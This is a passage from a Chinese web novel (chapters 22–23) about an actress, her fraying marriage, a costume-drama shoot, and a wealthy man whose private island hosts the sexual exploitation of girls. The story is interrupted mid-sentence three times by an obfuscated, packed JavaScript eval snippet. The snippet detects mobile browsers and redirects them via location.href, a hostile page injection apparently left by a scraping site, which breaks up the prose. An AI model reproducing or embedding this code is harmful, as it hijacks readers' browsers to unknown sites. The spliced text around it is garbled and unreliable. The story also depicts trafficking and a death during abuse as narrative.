她用力揉搓自己的脸,试图让自己更清醒,“他要我跟着去港市生活,我也照做了。可是他控制欲太强,几乎要二十四消失监控我的生活,去哪里都有人跟着。实在太过了,同学都不敢跟我说话,我在那一个朋友都没有,孤独得发疯,除了上学就只能待在他身边,陪他去wonderland度假。” “而且他的岛上,有很多……很多见不得人的东西。”谭雪舒难以启齿。“那都不是人干的事。” 傅谦明在他的私人岛屿上,为合作者们提供权色交易,说好听点就是个高级皮条客。专门满足一些变态的爱好,还起了个梦幻的名字wonderland,真是地狱笑话。 “那些女孩子太可怜了,有的人甚至还没我大。我整晚整晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15138954|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地睡不着,就算睡着了也会做噩梦。”她的声音又开始颤抖,“我梦见自己也被留在那座岛上,变成宠物,变成玩具……” 云灯倒了一杯热红茶,镇定地推到她手边,“不会。你跟着傅谦明,只要听他的话,人身安全是不会受到威胁的。” “他也不是什么好东西!跟那些嫖客没有两样。”谭雪舒咬牙道,“他只是个喜欢扮演救世主的伪君子。” 她能看清这点,云灯略微惊讶。不过再一想,也可能是那晚自己的话给了她提示,“他带你谈过生意吗?你有没有见过那些人?” “没有。”她摇摇头,“他谈事的时候会找女孩子陪我玩。” “那就好。”云灯颔首,“趁现在你还好脱身,自己想办法吧,最好把看到过的东西都忘掉。越早越好。” “啊,你不管我了?” 她又情急起来,“我真没有别的办法了!我父母都在他手底下生活,怎么逃得了呢?去哪里找能对抗他的人?你既然能逃出来,为什么不……” 她忽然打住。云灯却笑了,“为什么不借叶平川的势,代表正义消灭他?” “……”谭雪舒没好意思抬头,显然也意识到自己在说什么蠢话。 有光就会有阴影,这个世界的黑暗面是除不尽的。她又不是神,能自保就很难得了,哪里顾得上别人。 她从来都不是仁慈善良的人,只是装得很好而已。跟傅谦明在一起的五年,她也算耳濡目染,学到了些受用终身的东西。 即使亲眼见过那些误入泥潭的女孩,知道她们可能会面临怎样的未来,她也从没想过要回到岛上去解救谁。 她没有义务,也没那么高的觉悟。 “你好像很恨他。”云灯说,“你应该也知道,他在岛上的别墅主卧里放了一把枪。就在床头柜里。” “既然如此,他在你身边熟睡的时候,为什么不拿出枪,直接杀了他呢?” 谭雪舒愣住了。大约是没想到她敢把话说得这样直白。 “你跟我有点像,我们都是爱惜自己的人。”云灯道,“自私没什么不好。” “……嗯。”谭雪舒其实也很精明,“我也是这么想的。” 杀了他,那些女孩就能获救了吗? 不会的。加害者又不止一个。 即使不为了拯救谁,只考虑仇恨,如果报仇要把自己也搭进去,那就太不值得。咬碎了牙也要忍住。 比起一时快意,她以后的人生更重要。 “我的命很珍贵。” 比起告诉她,云灯更像是说给自己听,“是双倍的珍贵。” 她在傅谦明身边待了太久,见过太多东西,原本没可能再离开他。 她原本应该永远留在岛上。 “我之所以能活着出来,是因为有人替我死了。” 她毋庸置疑道,“所以,我不会为了你——不会为了任何人,再跟他有任何往来。明白了吗。” 谭雪舒无言以对,倏忽间从她平静的眼眸深处,看到一片巨大的悲恸。历久弥新。 明明是波澜不惊的死寂,却让人透不过气。像黑洞,一旦被吸进去就永无宁日。 “是你电影里的那个男主角吗?”她轻声问。 云灯没有回答。 下午又是场重头戏。 一开机,现场氛围瞬间剑拔弩张。 皇帝得到了确切的消息,自己宠爱多年的太子竟是被别人掉包的儿子。 以往太子昏庸无能,无论闯下多少祸事,皇帝都因为他是发妻留下的遗腹子,又是大庆朝的嫡皇子而一再容忍。 如今真相大白,龙颜震怒。御书房内,太子跪在地上吓得面无人色,“父王,父王饶命!儿臣怎么如此不堪?必定是有人……对,是有人诬陷!” 御前侍茶女官言秋,垂眸静立一旁。 “你敢再叫我一声父亲?!孽障!” 多年的宠溺都给错了人,滑天下之大稽。皇帝气到拔出了宝剑,全力掷了出去,“杀了他……杀无赦!给我杀了这个孽畜,杀了他!” 闻声赶来的禁卫军们面面相觑,全部呆立在原地。 谁敢手刃储君? 他们都不敢相信自己的耳朵,不明白皇帝怎么会发出这样荒谬的命令。 一步登天的前途就摆在眼前,这是命运赠予的绝佳机会,却无人敢轻举妄动。 就在这时,言秋大步上前,双手拾起了宝剑,目光锐利,朗声道,“陛下有令,杀无赦!” 太子恍然醒悟过来,连滚带爬地起身,要往殿门口逃窜。 言秋对准他的后心,一剑横穿,透胸而过。惨叫声响彻大殿。 温热的血花飞溅到她脸上,被她淡漠地抹去,像个持剑的修罗。 “天命不可违。” 22. 第 22 章 这是言秋入宫的第三年。因为一张酷似先皇后的脸庞,她在当届应选的女官中备受瞩目,被内宫总管亲自提拔,调进御书房侍奉。 御书房的差使尊贵却又凶险,需要直面天颜,案牍旁侍茶水笔墨,稍有不慎便是掉脑袋的罪过。 而言秋为人谨慎,进退得宜,加之有谢凭渊的暗中提点帮助,入侍多年,从未有过行差踏错的时候。 不仅得到皇帝的欣赏和信任,还利用自己能接触到核心政要的机会,帮助将军府躲过了数次纷争。 她逐渐了解国家机器是如何运作,以及当前朝廷的弊端,尝到了手握权力的滋味。 同时滋长的,还有睥睨的野心。 当朝太子自幼愚昧而懦弱,偏偏皇帝不舍发妻,对其遗腹子极为疼爱,还曾想任谢凭渊为太子太傅,悉心教导辅佐。 谢凭渊早看出这是块不可雕琢的朽木,以不堪重任为由婉拒,对这个国家的前途亦十分忧心。 直到言秋的出现。 她没有急于自爆身份,而是蛰伏等待时机。 手刃假太子这段戏,不仅是为自己正名,夺回身份,也让皇帝从心理上开始正视她,看清她作为帝王之材的雷霆手段。 但想要正大光明地变成沈言秋,还没那么简单。 太子暴毙,皇室丑闻总得想方法掩盖。 这场大戏的最终,皇帝对外宣称先皇后当年诞下双生子,公主自出生起就寄养在国寺里,隐姓埋名为国祈福。 如今太子因病猝死,便要接回公主陪伴陛下左右,以慰圣心。 为了名正言顺地回宫,她需要先去大庆国寺,善业寺中小住半年。 比起回宫后勾心斗角的夺嫡之争,这段短暂的休养是留给她最后的悠闲时光。也是在这里,她和谢凭渊第一次认清了彼此心意。 善业寺剧情篇幅不长,只需要拍摄几天,主演人员简单。 尤其是谭雪舒不在,叶平川这才获得了独占公主的时间。 “你们俩最近怎么总是黏在一起?突然就好起来了。” 说话时他们还在拍摄现场,一人一只捧着暖手袋,站在屋檐下殷切地抬头望天。 天色阴沉。气象预报说今日有雪,全剧组都在等老天爷赏脸。 闲扯了几句,他的话逐渐开始不对味,“是因为谈过同一个对象,找着共同话题了么。” “你也想加入吗?”云灯假装思考了一下,仿佛是在寻找他参与“前女友俱乐部”的可能性。 “诶,估计不行。傅谦明不喜欢个子这么高的。” “……”叶平川真要给她气笑,“脑子有问题啊你。” “看吧。你太正常了,跟我们是聊不到一起的。” 她抬起手腕,勾了勾指头,“谢大人,你的发冠歪掉了。” 叶平川索性抱着披风,在她面前蹲了下来。她弯腰整理,把勾住的发丝一点点捋顺,“你今天这套造型很好看诶。” 锦绸绣花,金丝滚边。谢凭渊的人设是一股清流,平常衣着也低调简朴,少有穿得这么贵气的时候。 果然面对心上人,再稳重成熟的人也忍不住要开屏。 “是后脑勺好看吗?” 戴好了冠,叶平川转过身来看着她,眼里带着点笑意,“还是正面更好看吧。” 他说过年幼时不喜欢自己的长相,因为这个没少穿宋澄锦买的套裙时装,走出去还被认成小姑娘。 现在倒是引以为荣了。 知道自己有勾引的资本。 云灯抚摸他的脸颊,默默地看着他。目光很稠,温柔缱绻,却又意味复杂。 她心里在想什么,思绪飘到了哪里,叶平川都不知道。但就这么大大方方地仰着脸,任由她看。 不尴尬,不避闪,笑意也没有消失。 空气里有细小的雪粒子随风打转,呼吸间冰得剌嗓子。云灯想自己似乎从未有过这样坦荡的时候,胸腔里便像是被什么点燃了,难得口无遮拦地说出句真心话。 “傅谦明不是个好东西。”她说,“叶平川,如果我先遇到的人是你就好了。” 被点燃的人变成了另一个。 顷刻间,叶平川的眼睛亮起来,带着志得意满的骄傲,“当然。无论你跟谁谈过,我都不会比他差。” 否则云灯怎么会选他? 人都是往高处走的,眼光自然也跟着越来越高。 虽然他没能保住自己在云灯身边的地位,但起码也没被别人夺去。 如果这是一场比赛,他只输给云灯本人。 “嗯。你不比任何人差。” 云灯十分给面子地点头,又莞尔道,“看在这一点上,我保证,以后你无论再跟谁谈,都不跟她一起讲你坏话。” “……” 叶平川脸上的表情消失了,恹恹地哦了一声,“所以你们俩这些天总待在一起,是忙着说那个姓傅的坏话。” 也行吧。 “可现在我们又没公开离婚,在别人眼里还是一对呢。”他倔强地提醒,“你这么急着把我往外推干什么。” “早晚的。”像是怕他伤心,她又捡起重复了很多次的说辞,“不是因为你不好,只是我觉得,还是自己更生活更舒服些。可能我们真的结婚太急了,应该再多谈一段时间的,不然也不至于弄成现在这样。” 叶平川从没觉得两人变成这样,是因为结婚太急,“跟我在一起不舒服吗?哪里不舒服,你都可以告诉我的。” “你总这样追问就会让我不舒服。” “……” “别想那么多了,都已经到了这一步,”云灯循循善诱道,“我们就吸取教训,争取过好以后。非要回想的话,就只想想开心的时候,这样不好吗?” 叶平川从些许期待,到失望地垂下来眼,拉开她的手指,低声道,“不好。” “你知道么?离婚以后我有时候梦见你,半夜醒了就在那怀疑人生,怀疑自己从来没看清过你。”他说。 “你很会制造惊喜,很会说漂亮话,情绪价值给得那么到位,几乎完美得像个假人。但你又很清楚,完美的人是不讨喜的,所以也会时不时地发脾气,闹小情绪,好让我也觉得自己也被需要。对么?” “我不是不愿意哄你,也不是批评你不该立那样的人设,你喜欢就都没什么大不了的。我只是觉得跟你在一起,感情最好的时候就已经逼近了洛希极限*,接下来无论怎么做,都没办法再靠近你。” “……洛希极限?”云灯一怔,蓦地被这个抽象又精准的比喻击中,望着他的瞳孔震了一下,微微扩大。 “嗯。你好像觉得我们只有拉开距离,彼此独立地存在,才能确保安全。”叶平川隐约察觉。 “如果过于靠近,突破了安全距离,就会有人被毁灭。像超过洛希极限,被引力撕裂的行星一样。” “云灯,”他很认真地问,“你是在怕什么吗?” 平常放纵不羁,大大咧咧的人一旦敏锐起来,真是很难糊弄。 云灯沉默了很久,才回答他,“大概就是你说的这样。太亲密总会有更多矛盾冲突,所以我想离婚,就是不想承担那么大的压力。” 她承认了自己是因此而退缩。叶平川却又有种说不上来的违和感,在直觉中微妙地转瞬即逝,“可我们还没有到‘更多矛盾’的那一步。” 如果不是她忽然提出离婚,两人之间几乎没有发生过什么事能称得上矛盾。 “总会到那一步的。感情里没有例外。”云灯笑笑,“与其耗光了热忱再变心,不如还是及时收手比较好吧?” 不远处有人在叫她。叶平川原本还想再说什么,终究咽回去,没有耽误她工作。 雪花逐渐纷扬起来。地上落了一层薄薄的白。 年节里,寺中各处都挂上了祈福的红灯笼,看着也热闹些。天色还未完全黑透,谢凭渊与言秋在廊下喝茶下棋。 在寺中小住的这几个月,就连言秋身边的侍女也看出,这位谢大人用心不凡。 谁家好大人下了朝就往寺里跑啊。 又是怕寺里条件简陋她吃住不惯,又是怕她身份特殊遭人非议,独处落寞。谢凭渊几乎两三天就要来一次,且每次都早早地来,待到日落才回。 从未有过这样独占言秋的机会,他一待就是一整天。来得越早,这一日能与她相处的时间就越久些。 今夜是除夕。寺里已经提前打扫出一间客房,谢凭渊会留下陪她过年。 宫里来的赏赐已经谢过,再加上他带来的,各类年货堆了半屋。两人一同拆礼物——是谁送的,给她送这个有什么用意,谢凭渊细细讲来。大有可闻。 这些日子她远离朝堂,消息闭塞,全要靠谢凭渊的到访通晓时事,跟上进度。她又何尝不是一日一日地盼着见面? 很难说是为了消息,还是为了人。 在言秋心里,他无疑是位良师益友。 可谢凭渊这样助她,是爱惜人才还是出于同情? 抑或是看上了她即将恢复的尊贵身份,想从她身上获得什么。 侍从用松枝燃起小火堆,还扔了些板栗红薯进去,烤好了邀两位大人去院子里玩个新鲜。 在这纷乱险峻的时局之中,想要一颗真心,会否太过于奢求? 正如火中取栗。 “今日香客们大都请了平安牌,挂在枝头祈祷来年顺遂。”谢凭渊笑问她,“可也写过一块没有?” 言秋摇头,“我不信这个。” 幸亏左右没有外人。她在寺庙里说这样违背信仰的话,堪称大逆不道了。 “图个吉利。”谢凭渊兴致颇高,同她秉烛夜游。她虽没有信仰,却也不想拒绝。 白日里熙熙攘攘的人群已然散尽,只留院中百年古松傲然屹立。被初雪压低的枝头上,绑着一块块飘红绸的木牌。 香客不在,香火还在。她不知道谢凭渊今日也来为她供了灯,只是发愁,请到平安牌以后不知写什么才好。 她没有需要上天帮忙完成的心愿。 “随便写些什么都好。” 谢凭渊很快就写完了,看她还在烦恼,有些执拗的可爱,“实在没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15155044|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有愿望,便留句话给我吧。” 言秋怔然,“可这要挂在树上,你又看不到。” “看不到岂不更好?”他故作调侃,“正是写我坏话的好时机。” 言秋被逗笑,望着他稍加思索,提笔一气呵成。 两人写下的平安牌,交由侍从挂到了古树上。侍从不识字,只是一味地把两块牌子绑到一起,被风吹得翻了个面,摇晃着碰出声音。 木牌上的字迹合并成两列,笔墨未干。 唯愿得卿一人心。 日日相对两不疑。 ** 最后一场戏拍完,剧组撤回酒店休息。 纷飞的雪花还未停歇。“初雪”的话题今夜上了热搜,云灯便趁势让小助理帮忙拍了两个手势舞,发到社交平台上营业一下。 她最近没多少空玩手机,就扒了扒热榜上的手势舞,现学现拍。 看她学得那么轻松,叶平川一时兴起也加入进来,手忙脚乱地在那里装可爱。 可不可爱很难评价。他最后看到自己努力呈现出的作品,“我怎么有点可笑。” “……” 梁天笑得像只扎漏的气球,噗嗤噗嗤的,“第一次录这样不错了,叶老师你还是有天赋的。” 【太好了是晚睡福利我们有救了!!!】 【把手机砸进墙里看了三十遍呜呜呜老婆好可爱,后面那男的也有在呼吸】 【很好哈哈哈哈哈好忙但不知道在忙什么】 【一张伟大的脸后面是另一张伟大的脸aaa只顾着看脸根本没空注意在跳什么谢谢】 【他俩的孩子得长得多好看啊……豹豹猫猫我现在投胎来得及吗求公开备孕档期】 【一边拍戏一边还能拍手势舞,你们两口子天天使不完的牛劲】 【纯路人,问一下三搭什么时候啊】 【……】 刷了会儿评论,云灯拆掉头发长舒一口气,“接下来至少两年都不要再接古装戏了,勒得我头疼。” 本来还跟导演商量过,她住善业寺里这段是不是可以穿僧服,顺便不用做复杂发型,戴个尼姑帽就完事。 后来提议被否了,她还有点小失落。 “嘿嘿,可是真的美翻了。”梁天道,“酒店那边东西我都收拾好了,咱们直接过去吧。” “好。” 下一阶段的拍摄剧组换了个影视基地,连带着也要换酒店。距离数百公里,要开夜车,梁天下午睡饱了觉,在高速上开着音响放粤语情歌。 云灯趴在车窗边,时不时跟着哼两句。她在港市待了好几年,粤语说得很流利。 叶平川提出要吃宵夜,被她眼都不眨地否决。 “……”他长叹一声,倒在软榻上,“暴君。” 小小的单人床对他而言已经有些拥挤。云灯隔窗看了会儿雪,又兴味盎然地跳上床,让他起来腾地方,“这边的视野更好。” 叶平川保留了一半倔强,人是起来了,但没下去,跟她一人一半蹲坐在单人床上看雪。 或许是因为挤在一起,心里也变得很踏实。云灯思绪平缓,想起他下午说的话。 叶平川梦到过她什么呢?肯定不是好事,否则也不会大半夜的怀疑人生。 既然不是好事,她就不会主动问。她从不会在可以放松的时刻扫兴。 “小天那孩子年龄也不大,怎么平时都喜欢听老歌啊。”叶平川不怎么懂粤语,“这像是我爸那辈小时候听的。” “她觉得我在那边待过,应该会喜欢。所以总给我放粤语歌。” 云灯欣然笑纳这份好意,“就是很好听啊。你静下心听,提升一下品味,有听不懂的词可以问我。” 叶平川心想,恐怕得全文朗读才行。可像这样依偎在一起的温馨时刻,总是叫人心软,无法抗拒的。晦涩咬嘴的歌词也就无需计较。 夜色深沉,很长一段时间里两人都没有交谈,只是看高速上的鹅毛大雪,听老派的音乐。如同寻到灵魂安放之处,可以短暂地得到宁静。 直到音响切到一首娓娓道来的情歌,是普通话的歌词。听了半宿粤语,其中几句忽然变得分外清晰。 “做一对雪花共舞 做一对遥望星辰 做一对最亲的灵魂 才不管什么样身份” “像初恋一样单纯 比苦恋还要诚恳 不共枕才能是一对 同梦的人” 叶平川内心被触动,想要回头说些什么,才发现她已经靠在自己肩上睡着。 他小心地挪动手脚,把云灯放在床上,趴在枕边看她熟睡的脸,感到久违的难言的幸福。 他非常了解对幸福的感受。因为了解,所以无从认错。 或许只是遇到了些许坎坷,爱的本质没有变化。至少在这样一个雪天,不为取暖,他们仍然愿意相互依偎。 “虽然我还不明白你在想什么……但真希望你知道。”叶平川喃喃自语。 “从见到你的第一天,到现在这一秒,我的心没有变过。” 23. 第 23 章 云灯很久没有做过梦。 从港市逃回来的最初几年,日子很难熬。《无影之地》是她的突破口,拍摄期间她每天都住在剧组酒店里,从头到尾。即便当天没有戏拍,她也要去坐在片场看旁人工作,吸取经验。 向前辈学习是一方面。更重要的是,她要让自己的身边时刻都有人,不会在毫无察觉的情况下就被带走。 万幸她选择的职业需要大量的拍摄,需要和不同的媒体接触,身边不缺主动来打交道的人。她积极地投身在这种高强度的生活里,如果不是还要留出时间约会谈恋爱,可以说是全年无休。 就连和叶平川交往,也曾被她算作工作的一部分。 她独自穿过一片黑暗森林,建立起新的生活秩序,根本没有闲工夫自己不幸的遭遇痛哭流涕,沉溺于绝望的噩梦。实在累到睡不着,褪黑素和镇定药叶都能派上用场。 即便后来耐药性越来越强,导致服用剂量超标而被医生强行停了药,她似乎也已不太需要了。 只要剥离脆弱易碎的情绪影响,人的生存意志往往强大到超乎想象。 她从出生就是个情绪稳定的小孩,长大了自然就变成个情感淡漠的成年人,很少会被什么事打动。 这对她来说不是什么大问题。或许有些违背常识,其实演戏时像她一样稍微抽离,比一味地沉浸式表演要好很多。至少不会有表情崩坏无法自理的困扰。 天生的表演型人格加上后天专业的表演课训练,无论是工作还是日常生活,她都可以给出合适的情绪反馈。足以应付绝大多数情况,和绝大多数人。 偏偏对叶平川还不够。 投其所好的礼物,亲密无间的私语,甚至恰到好处的小脾气,一定是来自于爱吗? 只要观察加动脑,她就都能做到。 她可以把婚姻经营得甜蜜完美,至少让外人看来毫无破绽。但她知道,长此以往,总有一天她骗不过叶平川。 许多人一辈子都没见过真心。他却从出生起就浸泡在高浓度的爱里,稍微掺点水就会被他察觉异样。 就像他从小看惯了家里挂满的孤品真迹,长大后再见到赝品,也说不出哪里不对,就是有种耳濡目染的直觉,告诉他那是假的。 他不相信自己爱上了赝品。至少现在,他还不愿接受,所以总想一层一层地剥开她,往里探寻。 以为只要进入够深,就能找到真情实感,寻得一颗真心。 可她拿什么给呢。 她的里面什么都没有。 梁天的粤语金曲精选歌单还在循环。她困极了,早已闭上眼睛。 和叶平川挤在窄窄一张车载单人床上,靠着他的肩膀,她想起两人的婚礼上,自己曾有过一刻失神的幻想。 或许老天开眼,让没情人也终成眷属呢。 意识模糊时,她听到一首关淑怡的《地尽头》,用迷幻游离的气音在唱。 “自问仍好胜 往事留旧城铺展了风景 世上客机大可帮我逃命 流浪到地中海终会蝶泳 谁让我的生涯天涯极苦闷 开过天堂幻彩的大门” 这年的初雪下足了整夜。 困倦得不行,云灯半梦半醒中懒得睁开眼睛,但仍能感受到被抱下车,听见他的拖鞋踩在雪地上,咯吱咯吱让人牙酸的响声。 “脚好冷……”她瑟缩了一下,仿佛自己也踩进雪里。 “很冷?”叶平川下意识地低头看,以为给她穿了两层毛绒袜子都不保暖,加快脚步,“马上到啊,进去就好了。” 环绕她的怀抱颠簸得像只遇到风浪的小船。她胡乱应了两声,不管不顾,居然睡得更沉。 凌晨才到酒店,太累了,叶平川衣服都没脱,隔着被子抱着她睡得昏天黑地。 到了中午,梁天不得不过来按门铃。 不是她多事,实在是打两个人的手机都没人接。 叶平川被吵到,翻身朝外面砸了个枕头。没睡够脾气大得很。 “是小天么?”云灯从被子里摸出手机,眯起眼睛,看到许多个未接电话,“……要没电了。” 话音刚落就关了机。她勉强挣开叶平川下床,光脚踩着地板去开门。 房间里开着暖气,她身上只有一条真丝睡裙。困得一下都不想动的时候,叶平川还给她换了睡衣,擦了脸才往床上倒。 梁天带了早午餐来,进门带着一股饭香。她指指沙发,打了个呵欠泪眼朦胧道,“先放那边吧。他还得一会儿才能起床,我去洗个澡。” “哦哦,好。” 梁天轻车熟路地找出数据线,给她的手机上充电。 果不其然。过了十来分钟,叶平川床上摸不着人,自己也睡不进去了,睡眼惺忪地走出卧室。 恰好云灯走出浴室,两人接替洗澡。 梁天坐在沙发上啃着玉米,看两人不言不语地各自忙碌,感觉各醒了一半,魂儿都没落地。 但是乱中有序,迷之和谐。 等洗漱完坐在早餐桌前,才算是醒了个大半。云灯披着半湿的头发低头喝豆浆,黑发如瀑倾泻,隐约露出肩头,珠玉般白皙动人。 早餐是小助理在酒店楼下就近买的,味道说是一般都太给面子。叶平川少爷病几欲发作,被她瞪了回去,木着脸继续吃肠粉。 “……” 每次跟这两人在一块儿,梁天总是要憋笑,“酒店里的早餐已经没有了,我就在旁边临时买了点。咱先垫垫,马上就得出发,妆发老师说今天拍新造型,头发有点复杂,要早点去弄。” 云灯颔首,“好。” “殿下先去吧。”叶平川嘀咕,“臣这碗肠粉实在难以下咽,怕是要吃到明天中午。” “吃不饱会影响你试妆吗?”她的眼神又横过去。 “会影响我上朝跟人吵架的音量!我蛐蛐别人会没有力气!” “今天又不拍朝堂戏。你要跟谁吵架?” 也是。 既然如此,他索性把碗一推,不再委屈自己,“那我不吃了。” 云灯欲骂又止,起身去穿外套,“路过便利店给他买碗车仔面。” 梁天:“好的boss!” 叶平川舒服了,也迅速去换衣服陪公主出门,不忘嘱咐,“给我加鱼蛋。” 家学渊源。他自从结了婚,也变得跟亲爸一个德行,每天起床找两句骂神清气爽。 恢复公主身份之后的剧情里,沈言秋的妆造较以往更加华丽尊贵。头饰颇有分量,压得人脖子痛。 拍摄间隙,云灯会把大件的首饰暂时摘下来歇一会儿。有时候谭雪舒帮她弄,有时候是孟瑜,还被来探班的经纪人嘲笑像她的两个丫鬟。 孟瑜:“那咋了。” 谭雪舒:“那咋了。” 云灯:“……” 这两人竞争的重点逐渐走歪,有意无意地在抢夺她的注意。 起因是导演随口一句,对谭雪舒的赞扬,“这小姑娘看着清清冷冷的,拍起戏来是个又争又抢的性格呢。” 孟瑜危机感大爆发。 她可是知道的,云灯就喜欢这种又争又抢的性格! 谭雪舒入戏快,还很少卡,优秀的表现给了她不小的刺激,整个人跟打了鸡血似的研究剧本和演技,力求也得到导演的表扬。 非常好的鲇鱼效应,云灯乐见其成。 倒是之前想往她身边黏的江煜,在草原被她吓唬住,就几乎不再凑过来了。下了戏也不在片场逗留,不知道去干什么。 反正不是她公司里的艺人,云灯没去管他。 “其实我也没指望他,能帮我对付傅谦明什么的。” 谭雪舒窝在她车里,捧着杯热咖啡感慨,“当时没想那么多。就是太害怕了,急着找个慰藉,哪怕是根稻草也抓着。” “那天晚上……就是你老公过生日的那天,傅谦明来找过我。” 她都快跑到国境最北边了,本以为至少那几天能喘口气的。没想到傅谦明还是神出鬼没地找到她。 剧组里关于她的流言,她自己也听到过。外人或嫉妒或不屑,视她为好命的金丝雀,可个中滋味真不是谁都能消受得了的。 “不知道是不是说来恐吓我的。他跟我提到有个女孩,玩得太大被口球憋到窒息身亡,当天就在岛上的殡葬场里火化了。” 想起那时傅谦明虚伪的惋惜语气,她仍反感又心有戚戚,“他们甚至都不给家属看遗体最后一眼的机会。” “伤痕累累的身体不如不看。”云灯顿了顿,声音很轻,“她可能也没什么家属了。” 傅谦明自己要找家世好的女孩,调/教起来才觉得有乐趣。服务其他客户的女孩却并不都是这样。 唯一的硬性标准就是身体条件出众。没有家庭的依托和保护,她们往往更豁得出去。真玩出了事,善后也会更简单。 只要价码够高,他们身边永远不缺前赴后继的漂亮女孩去铤而走险。 “所以那天看到你们俩一起切蛋糕秀恩爱,我真的很不爽,像大家一样笑着唱生日快乐歌,心里却在尖叫。我也想和普通人有一份正常的感情。” 她自嘲地笑笑,“很贪心吧?既要又要的。” 无论怎么说,傅谦明都给予了她丰足的物质条件,甚至连眼下的这份工作也是。 她的父母至今都把傅先生当成恩人看待,对她唯一的要求也只是抱紧这棵大树。对她实际上过着怎样的生活,并不十分关心。 “很正常。”云灯一边回复消息一边说话,显得有些敷衍。 她总是很忙。不过谭雪舒也没什么太高的要求,只要有人愿意听自己说话就足够了。 在港市她被监控得更严,同学都避着她走,没有一个能说话的朋友。她就不得不依赖傅谦明,越来越离不开他。 还好她知道自己在经历什么。《胜春朝》的拍摄就是她想尽办法争取来的,能和外界连同的手段。 还好,她在这里遇到了云灯。 可怎么会这样恰好,她的第一部长剧,就是云灯的戏? 谭雪舒心里也有猜测,只是不敢说出口来。 她是被傅谦明安排进组的。虽然还不知道他的目的是什么,但他一定了解,是云灯在负责这个项目。 或许他想借此对云灯发难? 或许她已然被利用,成为了拖累云灯的工具。 可即便如此,她也不愿意放开云灯。 反正有叶平川。 她心里默默地想。 两个人感情那么好,他肯定不会看着云灯出事的。 她只是想要自保。哪怕当个卑劣的小人。 云灯不抬头地问她,“说完了怎么还不走。” “……” 她磨磨蹭蹭地站起来,忽然又转身坐下,“反正我走了孟瑜也要来烦你!她比我还嘴碎呢。你不烦吗?” “与其你耐着性子,轻声细语地去应付她,还不如跟我待在一块儿。起码不用装亲切温柔。” 云灯“哦”了一声,似乎被提起些许兴趣,“我有说过是在装温柔吗?” “一看就知道啊。”她倒是很笃定,“你跟傅谦明有时候挺像的,你们都是看起来情绪很稳定,再生气也不会破口大骂的那种。其实根本没把别人放在眼里对吧。” 云灯回完消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15177631|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放下手机叹了口气,“知道我为什么讨厌跟你待在一起吗?” “因为……我话太多,总跟你诉苦?”谭雪舒不确定地说。 “因为你是傅谦明的人。跟他有关的一切我都不想沾染。”她说,“你难道没发觉?只要跟他待在一起,不知不觉就会变得偏激,想法和行为都会走极端。” 谭雪舒狠狠怔住,仿佛被点醒,缓慢地点了一下头。 无论是抓住江煜寻找归属感,还是天台上那晚差点想不开一了百了,都是在见过傅谦明之后。 她也不知道自己是受了什么刺激。明明他并没有说任何威胁逼迫的话,但就是让人……感到绝望。 “我跟你还不太一样。我不愿意伤害自己,所以要把刀刃朝向别人。”云灯平静地说,“在他身边没人敢惹我,如果有,我会让对方加倍地还回来。哪怕只是一件小事,我也恨不得让他全家死光。” 她知道傅谦明有那样的能力,也很清楚自己拥有仗势欺人的资本。甚至是在被刻意地纵容,培养。 一句话就能让人倾家荡产的快感,有谁能拒绝得了? 可过度膨胀的刺激和兴奋结束后,留下的是更巨大的虚无。 “我在他身边见过很多奇形怪状的人,很应该剁成几段冲进马桶,但偏偏他们都活得风生水起,名利双收。” 云灯说,“起初我觉得非常不公平。可后来有一天我发现,那些应该被剁了扔下水道的事,我也能做得到。甚至能给自己找到非常合理的借口,不会留下任何负罪感。” 她意识到自己也正在被扭曲同化,变成怪物的一员。 或许她以为的怪物,最开始也是她一样的人,可时间久了就变得麻木不仁,慢慢开始洗脑自己,世界本就是那样残忍黑暗。身处弱肉强食的黑暗森林,自己所作的一切都有情可原。 那样的环境里,绝没有人独善其身。只有跳出来,回归正常的世界,才有可能扭转。 “虽然听起来很滑稽,”云灯笑着说,“但是我真的想当个好人。” 她脸上微笑的表情堪称标准,从任何角度看都完美无瑕。完美得像个人偶。 谁都看不出,她是不是在说真心话。 谭雪舒内心被撼动,有点发毛,“你别看着我笑好不好,我害怕。” “……” “好吧,我还是走吧。”她想这大概也是云灯嫌她烦了赶人的手段,“再不走,叶老师更要把我当假想敌了。他最近看我的眼神都凉凉的,估计以为我是想勾搭你呢。” “对呀。”云灯自然道,“毕竟只有他好好保护我,我才能护着你,对吧?” 谭雪舒正要下车,闻言脚步顿在阶上,低声道,“你知道我……谢谢啊。” 外面的雪地被扫开,乌油油的沥青路伸向远处。但两旁的树根还是白的。 云灯看着她裹紧羽绒服一路小跑,心底有点遗憾。 她觉得谭雪舒最终,大概率还是无法摆脱傅谦明的掌控。 